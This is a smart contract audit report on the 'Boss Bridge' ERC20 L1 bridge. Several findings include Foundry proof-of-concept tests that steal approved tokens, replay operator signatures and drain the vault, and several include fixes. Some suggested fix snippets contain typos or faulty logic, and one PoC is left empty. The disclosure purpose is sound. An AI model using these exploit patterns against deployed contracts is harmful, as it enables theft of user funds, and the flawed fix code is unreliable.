Boss Bridge Audit Report

Version 1.0

Cyfrin.io

February 19, 2026

Boss Bridge Audit Report

fervidflame

February 19, 2026

Prepared by: fervidflame

Lead Auditors: fervidflame

Table of Contents

Protocol Summary

This project presents a simple bridge mechanism to move their ERC20 token from L1 to an L2 they're building. The L2 part of the bridge is still under construction, so they did not include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

They plan on launching `L1BossBridge` on both Ethereum Mainnet and ZKSync.

Token Compatibility

For the moment, assume *only* the `L1Token.sol` or copies of it will be used as tokens for the bridge. This means all other ERC20s and their weirdness is considered out-of-scope.

On withdrawals

The bridge operator is in charge of signing withdrawal requests submitted by users. These will be submitted on the L2 component of the bridge, not included here. Their service will validate the payloads submitted by users, checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge.

Disclaimer

The fervidflame team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Table 1: We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

- In Scope:

```
    ./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:
  - Ethereum Mainnet:
    * L1BossBridge.sol
    * L1Token.sol
    * L1Vault.sol
    * TokenFactory.sol
  - ZKSync Era:

        * TokenFactory.sol
    - Tokens:
        * L1Token.sol (And copies, with different names & initial supplies)

Roles

- Bridge Owner: A centralized bridge owner who can:
    - pause/unpause the bridge in the event of an emergency
    - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Issues found

Table 2: List and quantity of severities.

Severity	Number of issues found
High	8
Medium	1
Low	2
Info	4
Total	15

Findings

High

[H-1] Users who give tokens approvals to `L1BossBridge` may have those assest stolen.

Description: The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

Impact: As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greater than zero. This will move the tokens into the bridge vault, and assign them to the attacker's address in L2 (setting an attacker-controlled address in the `l2Recipient` parameter).

Proof of Concept (Proof of Code): Include the following test in the `L1BossBridge.t.sol` file: 1. User approves the bridge to move her tokens 2. Attacker sees the approval transaction 3. Attacker is a jerk and sends **`depositTokensToL2(from: user, l2Recipient: attacker, amount: All of user's Money!)`**

Proof of Code

```
function testCanMoveApprovedTokensOfOtherUsers() public {
    vm.prank(user);
    token.approve(address(tokenBridge), type(uint256).max);

    uint256 depositAmount = token.balanceOf(user);
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(user, attackerInL2, depositAmount);
    tokenBridge.depositTokensToL2(user, attackerInL2, depositAmount);

    assertEq(token.balanceOf(user), 0);
    assertEq(token.balanceOf(address(vault)), depositAmount);
    vm.stopPrank();
}
```

Recommended Mitigation: Consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
```

```
7 +     token.transferFrom(msg.sender, address(vault), amount);
8
9       // Our off-chain service picks up this event and mints the
            corresponding tokens on L2
10 -    emit Deposit(from, l2Recipient, amount);
11 +    emit Deposit(msg.sender, l2Recipient, amount);
12  }
```

[H-2] Calling `L1BossBridge::depositTokensToL2` from the Vault contract to the Vault contract allows infinite minting of unbacked tokens.

Description: `L1BossBridge::depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken.

```
1  // File: src/L1BossBridge.sol
2
3  function depositTokensToL2(address from, address l2Recipient, uint256
       amount) external whenNotPaused {
4  if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
5  revert L1BossBridge__DepositLimitReached();
6  }
7  token.safeTransferFrom(from, address(vault), amount);
8  // Our off-chain service picks up this event and mints the
       corresponding tokens on L2
9  emit Deposit(from, l2Recipient, amount);
10 }
```

Impact: Because the vault grants infinite approval to the bridge (as can be seen in the contract's constructor), it's possible for an attacker to call the `L1BossBridge::depositTokensToL2` function and transfer tokens from the vault to the vault itself. This would allow the attacker to trigger the `Deposit` event any number of times, causing the minting of unbacked tokens in L2. Moreover, they could mint all the tokens to themselves.

```
1  // File: src/L1BossBridge.sol
2
3  constructor(IERC20 _token) Ownable(msg.sender) {
4  token = _token;
5  vault = new L1Vault(token);
6  // Allows the bridge to move tokens out of the vault to facilitate
       withdrawals
7  vault.approveTo(address(this), type(uint256).max);
8  }
```

Proof of Concept (Proof of Code): Include the following test in the `L1TokenBridge.t.sol` file:

Proof of Code

```
function testCanTransferFromVaultToVault() public {
        address attacker = makeAddr("attacker");
        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        // Trigger the deposit event, self transfer tokens to the vault
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);

        // Test to see if we are able to repeat the exploit. Can we
            infinitely mint tokens on the L2?
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
    }
```

Recommended Mitigation: Consider modifying the `L1BossBridge::depositTokensToL2` function so that the caller cannot specify a `from` address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
     amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
         revert L1BossBridge__DepositLimitReached();
     }
-    token.transferFrom(from, address(vault), amount);
+    token.transferFrom(msg.sender, address(vault), amount);
-    emit Deposit(from, l2Recipient, amount);
+    emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-3] The lack of replay protection in `L1BossBridge::withdrawTokensToL1` allows withdrawals by signature to be replayed.

Description: Users who want to withdraw tokens from the bridge can call the `sendToL1` function, or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators. However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces).

Impact: Therefore, valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof of Concept (Proof of Code): Include the following test in the `L1TokenBridge.t.sol` file:

1. Assume the vault and attacker already hold some tokens. 2. An attacker deposits tokens to L2 via `depositTokensToL2`. This will emit a `Deposit` event with the specific parameters, `attacker`, `attacker`, `attackerInitialBalance`, that the off-chain service will pick up and mint the corresponding tokens to the attacker on L2. 3. REMINDER: how withdrawls work directly from the README: The bridge operator is in charge of signing withdrawal requests submitted by users. These will be submitted on the L2 component of the bridge, not included here. Our service will validate the payloads submitted by users, checking that the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge. 4. Now the attacker on the L2, wants to move their token from L2 to L1 so they contacted the signer (THIS PART IS NOT SHOWN IN THE CODE DUE TO WHAT WE READ IN THE README.). Signers are the only ones who can authorize withdraws from L2 to L1. So they sign the txn by combing their private key + message hash and input both into ECDSA and it outputs their v,r,s values. The user who wants to withdraw, then puts the v,r,s values into `withdrawTokensToL1`. 5. When our operator signs a legitimate withdraw message, their signature components (v, r, and s) are available on-chain as a product of the functions being called in Boss Bridge. This means our attacker can use these values to execute the transaction over and over again maliciously. In other words, now the attacker can replay that same signature to keep withdrawing tokens from the vault to their address on L1 until the vault is drained. 6. Signer/Operator is going to sign the withdrawal 7. The attacker can reuse the signature and drain the vault.

Proof of Code

```
function testSignatureReplay() public {
        // create an attacker address
        address attacker = makeAddr("attacker");

        // assume the vault and attacker already hold some tokens
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), attacker, attackerInitialBalance);

        // An attacker deposits tokens to L2 via `depositTokensToL2`.
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker,
            attackerInitialBalance);

        // Signer/Operator is going to sign the withdrawal
        // Our operator variable is an example of an Account object.
            These objects have 2 properties, key and addr.
        bytes memory message = abi.encode(
            address(token), 0, abi.encodeCall(IERC20.transferFrom, (
                address(vault), attacker, attackerInitialBalance))
        );
        // Remember: We're using MessageHashUtils here to format our
```

```
            message data to the EIP standard!
        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(operator.key, MessageHashUtils.
                toEthSignedMessageHash(keccak256(message)));
    // The attacker can reuse the signature and drain the vault.
        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(attacker,
                attackerInitialBalance, v, r, s);
        }
        assertEq(token.balanceOf(attacker), attackerInitialBalance +
            vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation: Consider redesigning the withdrawal mechanism with replay protection such as a block nonce, or a deadline parameter which will cause any subsequent transaction calls to revert.

[H-4] `L1BossBridge::sendToL1` allowing arbitrary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds.

Description: The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract.

Impact: The `L1BossBridge` contract owns the `L1Vault` contract. Therefore, an attacker could submit a call targeting the vault to execute its `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

Proof of Concept (Proof of Code): To reproduce, include the following test in the L1BossBridge.t.sol file:

Proof of Code

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
  // create an attacker address
        address attacker = makeAddr("attacker");
```

```
4
5   // assume the vault already hold some tokens
6       uint256 vaultInitialBalance = 1000e18;
7       deal(address(token), address(vault), vaultInitialBalance);
8
9       // An attacker deposits tokens to L2. We do this under the
            assumption that the
10      // bridge operator needs to see a valid deposit tx to then allow us
             to request a withdrawal.
11      vm.startPrank(attacker);
12      vm.expectEmit(address(tokenBridge));
13      emit Deposit(address(attacker), address(0), 0);
14
15      // An attacker deposits tokens to L2 via `depositTokensToL2`.
16      tokenBridge.depositTokensToL2(attacker, address(0), 0);
17
18      // Under the assumption that the bridge operator doesn't validate
            bytes being signed
19      bytes memory message = abi.encode(
20          address(vault), // target
21          0, // value
22          abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
                uint256).max)) // data
23      );
24      (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
            key);
25
26      tokenBridge.sendToL1(v, r, s, message);
27      // This line is a test assertion (likely in Foundry) that checks
            whether the ERC-20 allowance from vault to attacker is set to
            the maximum possible value.
28      assertEq(token.allowance(address(vault), attacker), type(uint256).
            max);
29      token.transferFrom(address(vault), attacker, token.balanceOf(
            address(vault)));
30  }
```

Recommended Mitigation: Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the `L1Vault` contract.

[H-5] `L1BossBridge::depositTokensToL2`'s `DEPOSIT_LIMIT` check allows contract to be DoS'd.

Description: The `L1BossBridge::depositTokensToL2` has a deposit limit variable, `DEPOSIT_LIMIT`, that limits the amount of funds a user can deposit into the bridge. A malicious user can makes a large donation to the `L1BossBridge` contract inorder to make the deposit limit reached.

```
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
```

Impact: The subsequent user will not be able to deposit to L2.

Proof of Concept (Proof of Code):

Proof of Code

```
    function testDoSAttack() public {
        // assume the user already hold some tokens
        address attacker = makeAddr("attacker");
        uint256 attackerDepositedAmount = 100e18;
        deal(address(token), attacker, attackerDepositedAmount);

        // attacker performing DoS attack
        vm.startPrank(attacker);
        token.transfer(address(vault), attackerDepositedAmount);
        vm.stopPrank();

        // user attempts to deposit tokens to L2
        vm.startPrank(user);
        uint256 userDepositedAmount = tokenBridge.DEPOSIT_LIMIT() - 1;
        deal(address(token), user, userDepositedAmount);
        token.approve(address(tokenBridge), userDepositedAmount);

        // user is denied service
        vm.expectRevert(L1BossBridge.L1BossBridge__DepositLimitReached.
            selector);
        tokenBridge.depositTokensToL2(user, userInL2,
            userDepositedAmount);
        vm.stopPrank();
    }
```

Recommended Mitigation: Consider using an internal state variable (e.g., `totalDeposited`) that is updated only inside `depositTokensToL2` and withdrawal functions:

```
+ uint256 private _totalDeposited;

 function depositTokensToL2(address from, address l2Recipient, uint256
     amount) external whenNotPaused {
+        if (_totalDepotsited + amount > DEPOSIT_LIMIT) {
+            revert L1BossBridge__DepositLimitReached();
        }
+       _totalDeposited += amount;
        token.safeTransferFrom(from, address(vault), amount);
        emit Deposit(from, l2Recipient, amount);
    }
```

[H-6] `TokenFactory::deployToken` locks tokens forever.

Description: The `TokenFactory::deployToken` function is responsible for deploying the `L1Token`, the only token used throughout the entire Boss Bridge protocol. `L1Token` mints the initial supply to the `msg.sender` in its constructor, which is the `TokenFactory` contract. However, the `TokenFactory` contract does not have any functions to withdraw or mint tokens.

Impact: Using this method to deploy tokens leads to unusable tokens, therefore, an unussable protocol.

Recommended Mitigation: Consider passing the `tokenReceiver` address in the constructor of `L1Token`.

```
-    constructor() ERC20("BossBridgeToken", "BBT") {
+    constructor(address tokenReceiver) ERC20("BossBridgeToken", "BBT")
    {
-         _mint(msg.sender, INITIAL_SUPPLY * 10 ** decimals());
+         _mint(tokenReceiver, INITIAL_SUPPLY * 10 ** decimals());
    }
}
```

[H-7] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to withdraw more funds than deposited.

Description: The `L1BoosBridge::withdrawTokensToL1` function has no validation on the withdrawl amount being the same as the deposited amount.

```
function withdrawTokensToL1(address to, uint256 amount, uint8 v,
    bytes32 r, bytes32 s) external {
        sendToL1(
            v,
            r,
            s,
            abi.encode(
                address(token),
                0, // value
@>                abi.encodeCall(IERC20.transferFrom, (address(vault),
    to, amount))
            )
        );
}
```

Impact: A malicious user can make a small deposit of tokens and drain the entire vault.

Proof of Concept (Proof of Code):

Proof of Code

```
function testUserCanWithdrawMoreTokensThanDeposited() public {
        // assume the user already hold some tokens
        uint256 userInitialBalance = 1000e18;
        deal(address(token), user, userInitialBalance);

        // user deposits 1000 tokens to L2
        vm.startPrank(user);
        token.approve(address(tokenBridge), userInitialBalance);
        tokenBridge.depositTokensToL2(user, userInL2,
            userInitialBalance);
        vm.stopPrank();

        // create an attacker address and give them some tokens to
            interact with the bridge
        address attacker = makeAddr("attacker");
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), attacker, attackerInitialBalance);

        // attack deposits 100 tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), attackerInitialBalance);
        tokenBridge.depositTokensToL2(attacker, userInL2,
            attackerInitialBalance);
        vm.stopPrank();

        // Under the assumption that the bridge operator doesn't
            validate bytes being signed
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(
            _getTokenWithdrawalMessage(attacker, userInitialBalance +
                attackerInitialBalance), operator.key
        );

        // attacker withdraws 1100 tokens to L1, even though they only
            deposited 100 tokens.
        vm.startPrank(attacker);
        tokenBridge.withdrawTokensToL1(attacker, userInitialBalance +
            attackerInitialBalance, v, r, s);
        vm.stopPrank();

        // Assert
        uint256 attackerEndingBalance = token.balanceOf(address(
            attacker));
        assertEq(attackerEndingBalance, userInitialBalance +
            attackerInitialBalance);
    }
```

Recommended Mitigation: Create an internal mapping for the tracking of deposits of every individ-

ual user in the `L1BossBridge::depositTokensToL2` and use that mapping for a check in the `L1BossBridge::withdrawTokensToL1`.

1. Track User Deposits

```
+ mapping(address => uint256) private _addressToAmountDeposited;
```

2. Update balances during deposit:

```
function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
+     _addressToAmountDeposited[msg.sender] += amount;
        token.safeTransferFrom(from, address(vault), amount);
        emit Deposit(from, l2Recipient, amount);
    }
```

3. Enforce Withdrawal Checks

```
function withdrawTokensToL1(
    address to,
    uint256 amount,
    uint8 v,
    bytes32 r,
    bytes32 s
) external {
+     require(_addressToAmountDeposited[msg.sender] >= amount, "Insufficient deposited balance");

+     _addressToAmountDeposited[msg.sender] -= amount;

    sendToL1(
        v,
        r,
        s,
        abi.encode(
            address(token),
            0,
            abi.encodeCall(
                IERC20.transferFrom,
                (address(vault), to, amount)
            )
        )
    );
}
```

[H-8] CREATE opcode in `TokenFactory::deployToken` is incompatible with zkSync Era.

Description: The `TokenFactory::deployToken` function deploys ERC20 contracts using inline assembly and the `CREATE` opcode:

```
    assembly {
            addr := create(0, add(contractBytecode, 0x20), mload(
                contractBytecode))
        }
```

While this pattern works on canonical EVM chains such as Ethereum, it is not compatible with zkSync Era due to differences in contract deployment architecture. All contract deployments on zkSync Era must provide its hash to the ContractDeployer system contract to ensure compatibility.

In short: zkSync does not support arbitrary dynamic bytecode deployment via raw CREATE in assembly.

Impact: - Token deployment will revert or return `address(0)` on zkSync Era. - `deployToken` becomes unusable. - `s_tokenToAddress[symbol]` may be set to `address(0)`. - The `TokenDeployed` event may emit invalid data. - The protocol becomes non-functional on zkSync Era.

Because token deployment is a core protocol feature, this issue results in complete loss of functionality on zkSync and is therefore classified as High severity.

Proof of Concept (Proof of Code):

Proof of Code

```

...
```

Recommended Mitigation: Use zkSync's `ContractDeployer` system contract to deploy new ERC20 contracts on L2.

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs.

Description: During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

```
function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory message)
    public nonReentrant whenNotPaused {
```

```
2           address signer = ECDSA.recover(MessageHashUtils.
                toEthSignedMessageHash(keccak256(message)), v, r, s);
3
4           if (!signers[signer]) {
5               revert L1BossBridge__Unauthorized();
6           }
7
8           (address target, uint256 value, bytes memory data) = abi.decode
                (message, (address, uint256, bytes));
9
10 @>          (bool success,) = target.call{ value: value }(data);
11          if (!success) {
12              revert L1BossBridge__CallFailed();
13          }
14      }
```

Impact: In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Because this gas is paid by the caller and in the caller's context, callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call; this can even hault the execution.

Recommended Mitigation: If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one. To quote directly from their github, "To prevent returnbombing, we provide [these two functions] `excessivelySafeCall` and `excessivelySafeStaticCall`. These behave similarly to solidity's low-level calls, however, they allow the user to specify a maximum number of bytes to be copied to local memory."

Low

[L-1] Lack of event emission during withdrawals and sending tokens to L1.

Description: Neither the `L1BossBridge::sendToL1` function nor the `L1BossBridge::withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed.

Impact: This leads to prevention of off-chain mechanisms to monitor withdrawls and raise alerts on suspicious scenarios.

Recommended Mitigation: Modify the `L1BossBridge::sendToL1` function to include a new event that is always emitted upon completing withdrawls.

[L-2] `TokenFactory::deployToken` can create multiple tokens with the same symbol.

Description: The `TokenFactory::deployToken` function can deploy tokens with the same symbol and the `s_tokenToAddress` mapping is designed to store the each token symbol corresponding to their address. However, due to storing same token symbols for different addresses, the `TokenFactory::getTokenAddressFromSymbol` function cannot accurately retrieve the token address from the symbol.

Impact: If two or more tokens deployed through the `TokenFactory`, it leads to errors while storing different tokens.

Recommended Mitigation: Consider redesigning the mapping `s_tokenToAddress` and `getTokenAddressFromSymbol` function in `TokenFactory`.

```
1  -  mapping(string tokenSymbol => address tokenAddress) private
       s_tokenToAddress;
2  +  mapping(address tokenAddress => string tokenSymbol) private
       s_addressToToken;
3  .
4  .
5  .
6  function deployToken(string memory symbol, bytes memory
       contractBytecode) public onlyOwner returns (address addr) {
7          assembly {
8              addr := create(0, add(contractBytecode, 0x20), mload(
                   contractBytecode))
9          }
10 - s_tokenToAddress[symbol] = addr;
11 + s_addressToToken[addr] = symbol;
12   emit TokenDeployed(symbol, addr);
13 }
```

```
1  -  function getTokenAddressFromSymbol(string memory symbol) public view
       returns (address addr) {
2  -         return s_tokenToAddress[symbol];
3      }
4  + function getTokenAddressFromSymbol(string memory symbol) public view
       returns (address addr) {
5  +         return s_addressToToken[addr];
6      }
```

Informational

[I-1] Insufficient test coverage

Table 3: Test Coverage

File	% Lines	% Statements	% Branches	% Funcs
src/L1BossBridge.sol	86.67% (13/15)	90.00% (18/20)	83.33% (5/6)	83.33% (5/6)
src/L1Vault.sol	0.00% (0/1)	0.00% (0/1)	100.00% (0/0)	0.00% (0/1)
src/TokenFactory.sol	100.00% (4/4)	100.00% (4/4)	100.00% (0/0)	100.00% (2/2)
Total	85.00% (17/20)	88.00% (22/25)	83.33% (5/6)	77.78% (7/9)

Recommended Mitigation: Aim to get test coverage up to over 90% for all files and to have a deployment test folder.

[I-2] State variables that are not updated following deployment should be declared immutable to save gas.

Description: The following variables are never modified after deployment: 1. `L1BossBridge::DEPOSIT_LIMIT` is the fixed deposit limit. 2. `L1Vault::token` is the token address that is assigned once during construction.

Impact: Storing such values in storage leads to unnecessary gas consumption when reading them, since SLOAD operations are more expensive than accessing constant or immutable variables.

Recommended Mitigation: Label these variables as constant or immutable to reduce gas costs.

```
// File: src/L1BossBridge.sol
-   uint256 public DEPOSIT_LIMIT = 100_000 ether;
+   uint256 public constant DEPOSIT_LIMIT = 100_000 ether;

// File: src/L1Vault.sol
-    IERC20 public token;
+    IERC20 public immutable token;
```

[I-3] Function should be declared as internal.

Description: `L1BossBridge::sendToL1()` only called in `withdrawTokensToL1()`, should declared as `internal` to prevent malicious user to called this function with evil message.

Recommended Mitigation:

```
1 -   function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
    message) public nonReentrant whenNotPaused {
2 +   function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
    message) internal nonReentrant whenNotPaused {
```

[I-4] Missing event emission on token withdrawal.

Description: The function `L1BossBridge::withdrawTokensToL1()` performs a token withdrawal from L2 to L1 by calling `sendToL1()`, which triggers a cross-chain message execution. However, the function does not emit any event when a withdrawal occurs.

Without an event, off-chain indexers, bridges, or monitoring services have no reliable way to detect or verify when a withdrawal has been initiated. This reduces the auditability and transparency of bridge activity and may cause synchronization issues between L1 and L2.

Impact: - Lack of on-chain traceability for user withdrawals. - Off-chain relayers or monitoring systems cannot automatically detect when users initiate withdrawals. - Reduces security visibility and may cause discrepancies between L1 and L2 token balances. - In extreme cases, users may not be able to prove a withdrawal occurred if a transaction is lost or delayed cross-chain.

Recommended Mitigation: Emit an event whenever a token withdrawal to L1 is initiated. This allows off-chain components and auditors to track all withdrawals easily.